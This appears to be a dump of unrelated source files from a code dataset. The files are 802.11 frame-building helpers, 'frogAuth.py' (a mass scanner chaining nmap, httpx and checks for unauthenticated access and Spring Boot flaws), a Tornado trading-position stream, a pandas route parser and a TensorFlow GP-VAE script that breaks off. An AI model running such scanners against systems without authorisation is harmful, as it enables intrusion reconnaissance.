|= fctl_order\n \n return fctl\n\ndef sctl_incsn(sctl):\n \"\"\"\n Increment the sequence number field and reinitialize the current fragment number.\n \n Mandatory parameters:\n sctl -- current sequence control\n \n return -- the updated sequence control\n \"\"\"\n return (sctl + (1 << 4)) & sctl_seqnum\n\ndef sctl_incfn(sctl):\n \"\"\"\n Increment the fragment number field.\n \n Mandatory parameters:\n sctl -- current sequence control\n \n return -- the updated sequence control\n \"\"\"\n return sctl + 1\n\ndef find_ie(typesubtype, body, ie):\n \"\"\"\n Returns the content of an IE inside a frame body. None if not found.\n \"\"\"\n \n length = len(body)\n \n if typesubtype == fctl_beacon:\n start = 8 + 2 + 2\n elif typesubtype == fctl_probereq:\n start = 0\n elif typesubtype == fctl_authentication:\n start = 2 + 2 + 2\n elif typesubtype == fctl_associationreq:\n start = 2 + 2\n else:\n assert(false)\n \n # sanity check\n assert(start < length)\n \n while start < length:\n (ie_id, ie_len) = struct.unpack(\"BB\", body[start:start+2])\n if ie_id == ie:\n return body[start+2:start+2+ie_len]\n else:\n start = start+2+ie_len\n assert(start <= length)\n\ndef beacon(interval, ssid, qos=True):\n \"\"\"\n Build a beacon body.\n \n Mandatory arguments:\n interval -- beacon interval\n ssid -- SSID in field of the beacon\n \n Keyword arguments:\n qos -- indicate if QoS is supported (default True)\n \"\"\"\n # timestamp\n body = struct.pack(\"= 1)\n body += struct.pack(\"BB\"+str(len(ssid))+\"s\", 0, len(ssid), ssid)\n # supported rates\n body += struct.pack(\"BBB\", 1, 1, 0x8C)\n # FH -> not implemented\n #body += struct.pack(\"BBHBBB\", 2, 5, 0, 0, 0, 0)\n # DS\n #body += struct.pack(\"BBB\", 3, 1, 0)\n # CF -> not implemented\n # IBSS -> not implemented\n # TIM -> not implemented\n # Country information element\n body += struct.pack(\"BB3sBBB\", 7, 6, \"US \", 0, 0, 0)\n \n return body\n\ndef proberesponse(interval, ssid):\n # timestamp\n body = struct.pack(\"= 1)\n body += struct.pack(\"BB\"+str(len(ssid))+\"s\", 0, len(ssid), ssid)\n # supported rates\n body += struct.pack(\"BBB\", 1, 1, 0x96)\n # FH -> not implemented\n #body += struct.pack(\"BBHBBB\", 2, 5, 0, 0, 0, 0)\n # DS\n #body += struct.pack(\"BBB\", 3, 1, 0)\n # CF -> not implemented\n # IBSS -> not implemented\n # TIM -> not implemented\n # Country information element\n body += struct.pack(\"BB3sBBB\", 7, 6, \"US \", 0, 0, 0)\n \n return body\n\ndef authenticate():\n # authentication algorithm\n body = struct.pack(\" None:\n filename = \"/tmp/ports.txt\"\n with open(filename, \"a\") as ports_file:\n ports_file.write(f\"{port}\\n\")\n\n\n# 写入\ndef hFile(strw):\n try:\n f = open(\"http.txt\", \"a\")\n f.write(strw)\n f.write(\"\\n\")\n finally:\n f.close()\n\n\n# 从文件读取扫描结果\ndef getresult(filename):\n file = open(filename, \"r\", encoding=\"utf-8\")\n s = file.readlines()\n s = [x.strip() for x in s if x.strip() != \"\"]\n return s\n\n\n# 端口扫描\ndef port_scan(file_name):\n session_name = \"naabuSession\"\n file_path = ROOT_PATH.joinpath(file_name)\n tmp_path = pathlib.Path(\"/tmp\")\n nmap_output_path__xml = tmp_path.joinpath(\"namp_output.xml\")\n\n # naabu_path = PORTS_PATH.joinpath(naabu)\n # logger.info(f\"naabu file exists: {naabu_path.exists()}\")\n # logger.info(f\"naabu file exists: {naabu_path.as_uri()}\")\n # cmd = [\n # str(naabu_path.absolute()),\n # \"-iL\",\n # str(file_path.absolute()),\n # \"-p\",\n # const.all_ports,\n # \"-nC\",\n # \"-ping\",\n # \"false\",\n # \"-rate\",\n # \"1000\",\n # \"-no-probe\",\n # ]\n cmd = [\n \"nmap\",\n \"-iL\",\n str(file_path),\n \"-p\",\n const.all_ports,\n \"-Pn\",\n \"-oX\",\n str(nmap_output_path__xml)\n ]\n\n all_ports = naabu_starter(full_command=cmd, nmap_output_path=nmap_output_path__xml)\n logger.info(\"Finish Ports Scan.\")\n logger.info(\"Start write all ports to file\")\n for port in all_ports:\n logger.info(f\"Write {port}\")\n ports_file_writter(port=port)\n return all_ports\n\n\n# httpx扫描\ndef httpx(target):\n cmd = [\n f\"./httpx/{httpxname}\",\n \"-l\",\n target,\n \"-ports\",\n \"80,443,8080,8090,8443,9090,8880,2052,2082,2086,2095,2053,2083,2087,2096\",\n \"-mc\",\n \"200\",\n \"-threads\",\n \"600\",\n \"-silent\",\n \"-no-color\",\n \"-follow-redirects\",\n ]\n print(\"Httpx Scanning.\")\n try:\n output = subprocess.check_output(cmd)\n except Exception as e:\n print(e)\n sys.exit(1)\n print(\"Finish Httpx Scan.\")\n portL = str(output).split(\"\\\\n\")\n httpL = []\n try:\n portL[0] = portL[0].split(\"'\")[1]\n del portL[-1]\n except:\n pass\n for i in portL:\n if i is not None:\n i = i.split(\"//\")[1].strip(\"/\")\n httpL.append(i)\n for pl in httpL:\n hFile(pl)\n return httpL\n\n\n# low level\ndef unauth_low(target, out_path):\n logger.info(\"Start 'unauth_low'\")\n port = str(target.split(\":\")[1])\n for dl in const.dic_list_low:\n if port in dl[\"port\"]:\n func_name = str(dl[\"func\"].__name__)\n dl[\"func\"](target, out_path)\n logger.info(f\"quit '{func_name}'\")\n logger.info(\"Exit 'unauth_low'\")\n\n\n# mid level\ndef unauth_mid(target, out_path):\n logger.info(\"Start 'unauth_mid'\")\n\n port = str(target.split(\":\")[1])\n for dl in const.dic_list_mid:\n if port in dl[\"port\"]:\n func_name = str(dl[\"func\"].__name__)\n dl[\"func\"](target, out_path)\n logger.info(f\"quit '{func_name}'\")\n logger.info(\"Exit 'unauth_mid'\")\n\n\n# high level\ndef unauth_high(target, out_path):\n logger.info(\"Start 'unauth_high'\")\n\n port = str(target.split(\":\")[1])\n for dl in const.dic_list_high:\n if port in dl[\"port\"]:\n func_name = str(dl[\"func\"].__name__)\n dl[\"func\"](target, out_path)\n logger.info(f\"quit '{func_name}'\")\n logger.info(\"Exit 'unauth_high'\")\n\n\n# high level\ndef springb(target, out_path):\n logger.info(\"Start 'springb'\")\n\n port = str(target.split(\":\")[1])\n for dl in const.dic_springboot:\n if port in dl[\"port\"]:\n func_name = str(dl[\"func\"].__name__)\n dl[\"func\"](target, out_path)\n logger.info(f\"quit '{func_name}'\")\n logger.info(\"Exit 'springb'\")\n\n\n# high level\ndef vulnscan(target):\n logger.info(\"Start 'vulnscan'\")\n\n port = str(target.split(\":\")[1])\n for dl in const.dic_vuln:\n if port in dl[\"port\"]:\n dl[\"func\"](target)\n logger.info(\"Exit 'vulnscan'\")\n\n\n# 删除文件\ndef delf(fname):\n try:\n os.remove(fname)\n except:\n return\n\n\nif __name__ == \"__main__\":\n # banner.banner()\n if len(sys.argv) == 1:\n print(\"\\n\")\n print(\"Usage: python3 frogAuth.py win/linux -f ip.txt\")\n exit(1)\n else:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"os\", help=\"win/linux\")\n parser.add_argument(\"-m\", help=\"scan/file\", default=\"scan\")\n parser.add_argument(\"-f\", help=\"filename\", default=\"/tmp/ip.txt\")\n parser.add_argument(\"-t\", help=\"target\")\n parser.add_argument(\"-o\", help=\"Output\")\n args = parser.parse_args()\n getsys(args.os)\n\n out_file = args.o\n out_file__path = ROOT_PATH.joinpath(out_file)\n file = args.f\n module = args.m\n\n ip_target = args.t\n\n target_file = pathlib.Path(file)\n target_file.write_text(ip_target)\n\n delf(\"tmp.txt\")\n\n if module == \"file\":\n port_res = getresult(target_file)\n else:\n port_res = port_scan(target_file)\n\n port_res = list(set(port_res))\n shuffle(port_res)\n\n fileL = readf(file)\n\n for f in fileL:\n try:\n if f.split(\".\")[-1].isalpha() and args.m == \"scan\":\n prefil(f)\n except:\n continue\n if os.path.exists(\"tmp.txt\"):\n http_res = httpx(\"tmp.txt\")\n http_res = list(set(http_res))\n shuffle(http_res)\n else:\n http_res = [\"\"]\n\n all_targets = port_res + http_res\n all_targets = [target for target in all_targets if target]\n\n # [unauth_low]-[START]\n logger.info(\"unauth Scanning Low.\")\n thread_starter(\n all_targets=all_targets,\n target_func=unauth_low,\n out_path=out_file__path,\n )\n logger.info(\"Finished Low.\")\n # [unauth_low]-[END]\n\n # [unauth_mid]-[START]\n logger.info(\"unauth Scanning Mid.\")\n thread_starter(\n all_targets=all_targets,\n target_func=unauth_mid,\n out_path=out_file__path,\n )\n logger.info(\"Finished Mid.\")\n # [unauth_mid]-[END]\n\n # [unauth_high]-[START]\n logger.info(\"unauth Scanning High.\")\n thread_starter(\n all_targets=all_targets,\n target_func=unauth_high,\n out_path=out_file__path,\n )\n logger.info(\"Finished High.\")\n # [unauth_high]-[END]\n\n # [springb]-[START]\n logger.info(\"Springboot Scanning.\")\n thread_starter(\n all_targets=all_targets,\n target_func=springb,\n out_path=out_file__path,\n )\n logger.info(\"Finished Springboot Scan.\")\n # [springb]-[END]\n\n delf(\"tmp.txt\")\n if not out_file__path.exists():\n logger.info(\"Any results found create empty file...\")\n out_file__path.touch(exist_ok=True)\n out_file__path.write_text(json.dumps([]))\n\n target_file.unlink(missing_ok=True)\n","sub_path":"frogAuth.py","file_name":"frogAuth.py","file_ext":"py","file_size_in_byte":8265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"13047906","text":"# -*- coding:utf-8 -*-\n\nimport json\nfrom Queue import Empty\n\nfrom tornado import web, gen\nfrom tornado.iostream import StreamClosedError\n\nfrom gateway.trader import NewTrader\nfrom logger import logger\n\n\nclass PositionHandler(web.RequestHandler):\n\n def initialize(self):\n self.set_header('content-type', 'text/event-stream')\n self.set_header('cache-control', 'no-cache')\n self.set_header('Connection', 'keep-alive')\n user_id = str(self.get_argument('user_id'))\n password = str(self.get_argument('password'))\n broker_id = str(self.get_argument('broker_id', '9999'))\n address = str(self.get_argument('address', 'tcp://180.168.146.187:10003'))\n logger.info('address: %s', address)\n self.trader = NewTrader(user_id, password, broker_id, address)\n self.trader.start()\n\n @gen.coroutine\n def get(self, *args, **kwargs):\n try:\n while not self._finished:\n yield gen.sleep(1)\n self.trader.query_position()\n try:\n msg = self.trader.get_position()\n msg = json.loads(msg)\n position = json.dumps(msg['data'])\n yield self.publish(position)\n except Empty:\n continue\n except Exception as exp:\n logger.error('catch exception {}.'.format(exp))\n raise web.HTTPError(500)\n finally:\n if self.trader.connecting:\n self.trader.close()\n logger.info('finally close trader connection!')\n\n @gen.coroutine\n def publish(self, message):\n \"\"\"Pushes data to a listener.\"\"\"\n try:\n self.write('{}\\n\\n'.format(message))\n yield self.flush()\n except StreamClosedError:\n self._finished = True\n\n def on_connection_close(self):\n logger.info('>>>>>>>>>>>>>into on_connection_close')\n self._finished = True\n if self.trader.connecting:\n self.trader.close()\n\n def on_finish(self):\n logger.info('>>>>>>>>>>>>>into on_finish')\n self._finished = True\n if self.trader.connecting:\n self.trader.close()\n","sub_path":"ctpService/handlers/position.py","file_name":"position.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"337081956","text":"import numpy as np\r\nimport pandas as pd\r\ndef find_next(i,sol):\r\n return sol.loc[i].values[1]\r\n\r\ndef find_next_m(i,sol):\r\n return sol.loc[i].values[1]\r\ndef sol_to_index(path):#path=path+file\r\n sol=pd.read_excel(path,sep='',header=None)\r\n lst=[0]\r\n idx = 0\r\n while 1:\r\n idx=find_next(idx,sol)\r\n if idx==0:\r\n break\r\n lst.append(idx)\r\n return lst\r\ndef sol_to_index_mulit(path,numcar):\r\n sol_total = pd.read_excel(path, sep='', header=None)\r\n car_id=[x for x in range(1,numcar+1)]\r\n lst_total=[]\r\n for i in car_id:\r\n sol=sol_total[sol_total[0]==i].drop([0], axis=1)\r\n sol=sol.rename(index=sol[1])\r\n lst = [0]\r\n idx = 0\r\n while 1:\r\n idx = find_next_m(idx, sol)\r\n if idx == 0:\r\n break\r\n lst.append(idx)\r\n lst.append(0)\r\n lst_total.append(lst)\r\n return lst_total\r\n","sub_path":"Model2/dictionary/sol_to_index.py","file_name":"sol_to_index.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"295119716","text":"from sklearn.externals import joblib\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nimport numpy as np\nfrom DataHandler import SyntheticDataHandler, DataHandler\n\ndef weight_variable(shape):\n return tf.Variable(tf.truncated_normal(shape, stddev=0.1))\n\ndef bias_variable(shape):\n return tf.Variable(tf.constant(0.1, shape=shape))\n\ndef conv2d(x,W):\n return tf.nn.conv2d(x, W, strides=[1,2,2,1], padding='SAME')\n\ndef trans_conv2d(x, W, padding='SAME', special_shape=False):\n\tx_shape = tf.shape(x)\n\tw_shape = tf.shape(W)\n\tif special_shape:\n\t\tout_shape = tf.stack([x_shape[0], 7, 7, w_shape[2]])\n\telse:\n\t\tout_shape = tf.stack([x_shape[0], 2*x_shape[1], 2*x_shape[2], w_shape[2]])\n\treturn tf.nn.conv2d_transpose(x, W, out_shape, strides=[1,2,2,1], padding=padding)\n\ndef vae_encode(x, latent_size):\n\tx = tf.reshape(x, [-1,64,64,1])\n\tw_in_1 = weight_variable([3,3,1,16])\n\tb_in_1 = bias_variable([16])\n\tencode_1 = tf.nn.relu(conv2d(x,w_in_1) + b_in_1) #now 32x32x16\n\n\tw_in_2 = weight_variable([3,3,16,32])\n\tb_in_2 = bias_variable([32])\n\tencode_2 = tf.nn.relu(conv2d(encode_1,w_in_2)+b_in_2) #now 16x16x32\n\n\tw_in_3 = weight_variable([3,3,32,64])\n\tb_in_3 = bias_variable([64])\n\tencode_3 = tf.nn.relu(conv2d(encode_2,w_in_3)+b_in_3) #now 8x8x64\n\n\tw_in_4 = weight_variable([3,3,64,128])\n\tb_in_4 = bias_variable([128])\n\tencode_4 = tf.nn.relu(conv2d(encode_3,w_in_4)+b_in_4) #now 4x4x128\n\n\tw_in_5 = weight_variable([3,3,128,256])\n\tb_in_5 = bias_variable([256])\n\tencode_5 = tf.nn.relu(conv2d(encode_4,w_in_5)+b_in_5) #now 2x2x256\n\n\tw_in_6 = weight_variable([2,2,256,512])\n\tb_in_6 = bias_variable([512])\n\tencode_6 = tf.nn.relu(conv2d(encode_5,w_in_6)+b_in_6) #now 1x1x256\n\tflat_6 = tf.layers.flatten(encode_6)\n\t\n\t#latent space mean\n\tw_mean = weight_variable([512,latent_size])\n\tb_mean = bias_variable([latent_size])\n\tencode_mean = tf.matmul(flat_6, w_mean)+b_mean\n\treturn encode_mean\n\ndef approx_kernels(sequences, sequence_sizes, latent_size, batch_size, number_samples):\n\t'''\n\t produces a list of latent dim kernels and the 'noise' for the reparam trick \n\t when done on a single z latent over the sequence time. \n\t input:\n\t\t\tsequences : a tf placeholder to which one passes a np array of the batch with time steps \n\t\t\t\tex:[[5.0,6.0,9.0,10.0],[1.0,2.0,5.0,10.4]]\n\t\t\tsequence_sizes : tf placeholder to which is pass a np array of shape [batch_size] where each value is the length of that seqeuence\n\t\t\tlatent_size : the size of the latent space, a number of a tf.shape()[x] works\n\t'''\n\tsequences = tf.split(sequences, num_or_size_splits=batch_size)\n\n\ttime_chars = tf.Variable(tf.constant(1.0, shape=[latent_size,1]), name='approx_time_chars')\n\t# time_chars = tf.constant([9.0,3.0], shape=[latent_size,1])\n\tsplit_time_chars = tf.split(time_chars, num_or_size_splits=latent_size)\n\n\tsplit_sequence_length = tf.split(sequence_sizes, num_or_size_splits=batch_size)\n\tpad_length = tf.reduce_max(sequence_sizes)\n\tpad_length_sq = tf.pow(pad_length, 2)\n\tfull_approx_kernel = []\n\tfull_chol_noise = []\n\tfor sequence, size in zip(sequences, split_sequence_length): \n\t\tsequence = tf.slice(sequence,[0,0], [1,tf.reshape(size,())])\n\t\tapprox_kernel, chol_noise = build_kernels(sequence, split_time_chars, number_samples)\n\t\tpadding_kernel = [[0, 0], [0, tf.reshape(tf.cast(pad_length_sq-size*size, tf.int32),())]]# pad_length-prior_kernel.shape[1]\n\t\tpad_approx_kernel = tf.pad(approx_kernel, padding_kernel, 'CONSTANT')\n\t\t\n\t\tchol_noise = tf.split(chol_noise, number_samples, axis=1)\n\t\tpadding_chol = [[0, 0], [0, tf.reshape(tf.cast(pad_length-size, tf.int32),())]]\n\t\tpadded_chol = []\n\t\tfor sample in chol_noise:\n\t\t\tpad_chol_noise = tf.pad(sample, padding_chol, 'CONSTANT')\n\t\t\tpadded_chol.append(pad_chol_noise)\n\t\tpad_chol_noise = tf.concat(padded_chol, axis=1)\n\t\tfull_approx_kernel.append(pad_approx_kernel)\n\t\tfull_chol_noise.append(pad_chol_noise)\n\tfull_approx_kernel = tf.concat(full_approx_kernel, 0)\n\tfull_chol_noise = tf.concat(full_chol_noise, 0)\n\treturn full_approx_kernel, full_chol_noise, time_chars\n\ndef prior_kernels(sequences, sequence_sizes, latent_size, batch_size):\n\t'''\n\t Input:\n\t\t\t\tsequences: TF placeholder [None, 15] matrix where 15 is the input dimension \n\t\t\t\tSequence_sizes: TF placeholder [batch_size] matrix where the components are the length of the sequences of the batch\n\t\t\t\tlatent_size: number of latent states desired\n\t\t\t\tbatch_size: number of sequences per batch\n\t Output:\n\t\t\t\tfull_prior_kernel : each row is the prior kernel for a singe latent (latent_size*batch_size x time_length^2) and \n\t\t\t\t\teach batch has the SAME matrix \n\t'''\n\tsequences = tf.split(sequences, num_or_size_splits=batch_size)\n\n\t# prior_time_chars = tf.Variable(tf.constant([9.0,3.0], shape=[latent_size,1]), name='prior_time_chars')\n\tprior_time_chars = tf.constant(1.0, shape=[latent_size,1])\n\tsplit_prior_time_char = tf.split(prior_time_chars, num_or_size_splits=latent_size) #the same values are used for each seq in the batch\n\t\n\tsplit_prior_sequence_length = tf.split(sequence_sizes, num_or_size_splits=batch_size)\n\tpad_length = tf.pow(tf.reduce_max(sequence_sizes),2) # used to set the number of padding 0s to add to each sequence\n\n\tfull_prior_kernel = []\n\tfor sequence, size in zip(sequences, split_prior_sequence_length):\n\t\tsequence = tf.slice(sequence,[0,0], [1,tf.reshape(size,())])\n\t\tprior_kernel, _ = build_kernels(sequence, split_prior_time_char)\n\n\t\tpaddings = [[0, 0], [0, tf.reshape(tf.cast(pad_length-size*size, tf.int32),())]]# pad_length-prior_kernel.shape[1]\n\t\tprior_kernel = tf.pad(prior_kernel, paddings, 'CONSTANT')\n\n\t\tfull_prior_kernel.append(prior_kernel)\n\tfull_prior_kernel = tf.concat(full_prior_kernel, 0)\n\treturn full_prior_kernel, prior_time_chars\n\ndef build_kernels(sequence, split_time_chars, number_samples=1):\n\t'''\n\t Inputs:\n\t Output:\n\t\t\t\tlatent_kernels : tensor of dim latent_size x time_length^2 (each row is the full kernel matrix of the latent)\n\t \t\t\tlatent_noise : tensor of dim latent_Size x time_length (used in reparam trick to sample a value)\n\t'''\n\tlatent_kernels = []\n\tlatent_noise = []\n\tfor char in split_time_chars:\n\t\tK, chol_noise = tf_kernel(sequence, char, number_samples)\n\t\tlatent_kernels.append(K)\n\t\tlatent_noise.append(chol_noise)\n\tlatent_noise = tf.concat(latent_noise,0)\n\tlatent_kernels = tf.concat(latent_kernels,0)\n\treturn latent_kernels, latent_noise\n\ndef tf_kernel(sequence, char, number_samples):\n\t'''\n\t sequence is (typically) a placeholder tensor with the times that the data point are from, ie [1.0,2.0,4.0]\n\t char is a of a single number corresponding to the time characteristic of the GP\n\t'''\n\tnoise = 1e-3\n\tsignal = 1-noise\n\tsequence_tall = tf.reshape(sequence, [-1, 1])\n\tsequence_tall = sequence_tall[:,tf.newaxis,:]\n\tsequence_long = tf.reshape(sequence, [1,-1])\n\tsequence_long = sequence_long[tf.newaxis,:,:]\n\tdiff = tf.squeeze((sequence_tall - sequence_long))\n\t# diff = tf.cast(diff, tf.float32)\n\tinner = -tf.pow(diff, 2) / (2.0*tf.pow(char,2))\n\tnoise_mat = tf.eye(tf.shape(diff)[0]) * noise\n\tK = signal * tf.exp(inner) + noise_mat\n\tL = tf.cholesky(K)\n\trandom = tf.random_normal([tf.shape(L)[0],number_samples])\n\t# random = tf.ones([tf.shape(L)[0],number_samples]) #THIS IS JUST FOR DEBUGGIN!\n\tnoise = tf.matmul(L, random)\n\tK = tf.reshape(K, [1,-1])\n\tnoise = tf.transpose(noise)\n\tnoise = tf.reshape(noise, [1,-1])\n\treturn K, noise\n\ndef gp_vae_sample(mean, noise_chol_full_time, sequence_sizes, batch_size, number_samples, latent_size):\n\t'''\n\t input:\n\t \tbatch_means_seq : [(latent_size*batch_size),time_length] ie each latent of each batch with time\n\t \tnoise_chol_full_time : same as above but from noise * cholesky(K) where K is for each *row* (each latent over time)\n\t Outputs:\n\t\ttime_based_sample: tensor, shape = [batch_size*time_length, latent_size]\n\t'''\n\tbatched_chol_full_latent = tf.split(noise_chol_full_time, num_or_size_splits=batch_size, axis=0)\n\t#now need to splice each of the matricies to extract only the times that are actually seen (all padded with 0s on the right)\n\tsplit_sequence_length = tf.split(sequence_sizes, num_or_size_splits=batch_size)\n\tsplit_means = tf.split(mean, num_or_size_splits=sequence_sizes)\n\tsamples = []\n\tfor sequence, size, mean in zip(batched_chol_full_latent, split_sequence_length, split_means):\n\t\tindiv_sample_chol = tf.split(sequence, num_or_size_splits=number_samples, axis=1)\n\t\tfor chol in indiv_sample_chol:\n\t\t\tchol_noise = tf.slice(chol,[0,0], [latent_size,tf.reshape(size,())])\n\t\t\tnoise_trans = tf.transpose(chol_noise)\n\t\t\tsample = mean + noise_trans\n\t\t\tsamples.append(sample)\n\tsamples_matrix = tf.concat(samples, 0)\n\treturn samples_matrix\n\ndef calc_gp_kl(mean, sequence_sizes, approx_linear_kernel, prior_kernel, batch_size, latent_size):\n\t'''\n\t split the mean so each row is a sequence: ie 100x100 --> 500x20 \n\t ideally would have a better way to do this =(\n\t INPUT:\n\t\t\tmean : a tensor of -1xlatent_size where the -1 is batch_size * time_length of each seq\n\t\t\tsequence_sizes : tensor of shape [batch_size] where each element is the length of a given sequence\n\t\t\tapprox_linear_kernel : a tensor of -1x(time_length)^2 is each row is a linearized kernel matrix\n\t\t\t\tand the -1 corresponds to batch_size * latent_size\n\t \t\tprior_kernel : a tensor of -1x(time_length)^2 is each row is a linearized kernel matrix\n\t\t\t\tand the -1 corresponds to batch_size * latent_size\n\t\t\tbatch_size : the number of sequences used in each training step\n\t \t\tlatent_size : number of latent variables\n\t'''\n\tapprox_linear_kernel = tf.unstack(approx_linear_kernel, num=batch_size*latent_size) # now its a list of 1xT^2 tensors\n\t# return approx_linear_kernel[2]\n\tprior_kernel = tf.unstack(prior_kernel, num=batch_size*latent_size) # now its a list of 1xT^2 tensors\n\tmean_t_kl = trans_break_mat(mean, sequence_sizes) # mean_time will be used for sampling \n\n\tsequence_sizes = tf.reshape(tf.tile(tf.expand_dims(sequence_sizes, -1), [1, latent_size]), [-1])\n\tsplit_sequence_length = tf.split(sequence_sizes, num_or_size_splits=batch_size*latent_size)\n\t\n\tgp_kl_full = []\n\ttest = []\n\ti = 0\n\tfor m, K, p_K, length in zip(mean_t_kl, approx_linear_kernel, prior_kernel, split_sequence_length):\n\t\tK = tf.slice(K, [0], [tf.reshape(tf.square(length),())])\n\t\tp_K = tf.slice(p_K, [0], [tf.reshape(tf.square(length),())])\n\t\tkl = gp_kl_div(m, K, p_K, length)\n\t\tgp_kl_full.append(kl)\n\tgp_kl = tf.stack(gp_kl_full)\n\tgp_kl_sum = tf.reduce_sum(gp_kl)\n\treturn gp_kl_sum, gp_kl\n\ndef trans_break_mat(mat, batch_sequence_size):\n\t'''\n\t takes in a matrix of (batch_sequence_lengths_sum) x latent_size and returns list of batch members of size latent_size x sequence_length\n\t'''\n\tmat_T = tf.transpose(mat)\n\tsplit_mat = tf.split(mat_T, num_or_size_splits=batch_sequence_size, axis=1)\n\tfor ind, tensor in enumerate(split_mat):\n\t\tsplit_mat[ind] = tf.unstack(tensor)\n\tsplit_mat = [tensor for sublist in split_mat for tensor in sublist]\n\treturn split_mat\n\ndef gp_kl_div(mean, approx_linear_kernel, prior_linear_kernel, length):\n\tmean = tf.reshape(mean, [-1,1])\n\tmean = tf.cast(mean, tf.float64)\n\tlength = tf.cast(tf.reshape(length,()), tf.int32)\n\tapprox_kernel = tf.reshape(approx_linear_kernel, [length,length])\n\tapprox_kernel = tf.cast(approx_kernel, tf.float64)\n\tprior_kernel = tf.reshape(prior_linear_kernel, [length,length])\n\tprior_kernel = tf.cast(prior_kernel, tf.float64)\n\tinv_prior_K = tf.matrix_inverse(prior_kernel)\n\tlog_det_approx_K = tf.linalg.logdet(approx_kernel)\n\tlog_det_prior_K = tf.linalg.logdet(prior_kernel)\n\tnegative_mean = tf.scalar_mul(-1.0,mean)\n\tp_1 = tf.trace(tf.matmul(inv_prior_K, approx_kernel)) \n\tp_2 = log_det_prior_K - log_det_approx_K\n\tp_3a = tf.matmul(inv_prior_K,negative_mean)\n\tp_3 = tf.matmul(tf.transpose(negative_mean), p_3a) \n\tp_4 = p_1 - tf.cast(length, tf.float64) + p_2 + p_3\n\tp_5 = tf.scalar_mul(0.5, p_4)\n\treturn p_5\n\t\ndef vae_decode(X, latent_size):\n\tX = tf.reshape(X, [-1,latent_size]) \n\tw1 = weight_variable([latent_size, 512])\n\tb1 = bias_variable([512])\n\tout_1 = tf.nn.relu(tf.matmul(X,w1) + b1)\n\tout_1_3d = tf.reshape(out_1, [-1,1,1,512]) #1x1x512\n\n\tw_deconv_0 = weight_variable([2,2,256,512])\n\tb_deconv_0 = bias_variable([256])\n\tout_0_deconv = tf.nn.relu(trans_conv2d(out_1_3d, w_deconv_0) + b_deconv_0) #2x2x256\n\n\tw_deconv_1 = weight_variable([3,3,128,256])\n\tb_deconv_1 = bias_variable([128])\n\tout_1_deconv = tf.nn.relu(trans_conv2d(out_0_deconv, w_deconv_1) + b_deconv_1) #4x4x128\n\n\tw_deconv_2 = weight_variable([3,3,64,128])\n\tb_deconv_2 = bias_variable([64])\n\tout_2_deconv = tf.nn.relu(trans_conv2d(out_1_deconv, w_deconv_2) + b_deconv_2) #8x8x64\n\n\tw_deconv_3 = weight_variable([3,3,32,64])\n\tb_deconv_3 = bias_variable([32])\n\tout_3_deconv = tf.nn.relu(trans_conv2d(out_2_deconv, w_deconv_3) + b_deconv_3) #16x16x32\n\n\tw_deconv_4 = weight_variable([3,3,16,32])\n\tb_deconv_4 = bias_variable([16])\n\tout_4_deconv = tf.nn.relu(trans_conv2d(out_3_deconv, w_deconv_4) + b_deconv_4) #32x32x16\n\n\tw_deconv_5 = weight_variable([3,3,1,16])\n\tb_deconv_5 = bias_variable([1])\n\tdecode = tf.layers.flatten(tf.sigmoid(trans_conv2d(out_4_deconv, w_deconv_5) + b_deconv_5)) #64x64x1\n\treturn decode\n \ndef write_file(losses, step, model_type='train'):\n\tfile = open('./Full_GP_models/%s_loss_file_%d.csv' %(model_type, step), 'w')\n\tfor step in losses:\n\t\tfor ele in step:\n\t\t\tfile.write(ele + ',')\n\t\tfile.write('\\n')\n\tfile.close()\n\ndef main():\n\n\t# TO RUN THIS MAKE SURE YOU MAKE THE FOLLOWING DIRECTORY IN THE CURRENT LOCATION:\n\t# Full_GP_models\n\t# ALTER THE PATHS RIGHT BELOW THIS FOR WHERE THE DATA IS!\n\t# IF YOU WANT NICE FIGURES: CHANGE .PNG TO .SVG and alter the format\n\tdata_path = \"../Data/\"\n\tdata_file = \"mnist_test_seq.npy\"\n\n\tmax_time = 20 #FOR THE MOVING MNIST!\n\tbatch_size = 5 # number of sequences analyzed per training step\n\n\tMovingMnist = DataHandler(data_path, data_file, batch_size=batch_size, time_included=True)\n\n\t# make the model\n\tlatent_size = 100\n\tnumber_samples = 1\n\n\tx = tf.placeholder(tf.float32, [None,4096], name=\"x\")\n\tsequences = tf.placeholder(tf.float32, [batch_size, None], name=\"sequences\")\n\tsequence_sizes_placeholder = tf.placeholder(tf.int32, [batch_size], name=\"sequence_lengths\")\n\tsplit_x = tf.split(x, num_or_size_splits=sequence_sizes_placeholder)\n\tx_sample_num_tile = []\n\tfor sequence in split_x:\n\t\tx_sample_num_tile.append(tf.tile(sequence, [number_samples,1]))\n\tx_sample_num_tile = tf.concat(x_sample_num_tile, axis=0)\n\n\tlatent_mean = vae_encode(x, latent_size)\n\tlatent_mean = tf.identity(latent_mean, name='latent_mean')\n\n\tprior_kernel, prior_time_chars = prior_kernels(sequences, sequence_sizes_placeholder, latent_size, batch_size)\n\tprior_kernel = tf.identity(prior_kernel, name='prior_kernels')\n\t# chol_noise = approx_kernels(sequences, sequence_sizes_placeholder, latent_size, batch_size, number_samples)\n\tapprox_kernel, chol_noise, approx_time_chars = approx_kernels(sequences, sequence_sizes_placeholder, latent_size, batch_size, number_samples) #change back to passing a tf.placeholder for sequence\n\tapprox_kernel = tf.identity(approx_kernel, name='approx_kernels') #shape is (batch*latent) x time\n\tchol_noise = tf.identity(chol_noise, name='chol_noise')\n\n\tlatent_sample = gp_vae_sample(latent_mean, chol_noise, sequence_sizes_placeholder, batch_size, number_samples, latent_size)\n\tsum_gp_kl, gp_kl= calc_gp_kl(latent_mean, sequence_sizes_placeholder, approx_kernel, prior_kernel, batch_size, latent_size)\n\t# p_K= calc_gp_kl(latent_mean, sequence_sizes_placeholder, approx_kernel, prior_kernel, batch_size, latent_size)\n\tlatent_sample = tf.identity(latent_sample, name='latent_sample')\n\tsum_gp_kl = tf.identity(sum_gp_kl, name='gp_kl_sum')\n\n\tx_decode = vae_decode(latent_sample, latent_size)\n\tx_decode = tf.identity(x_decode, name='x_decode')\n\n\t# define the loss function (KL-div + reconst error)\n\treconstruction = 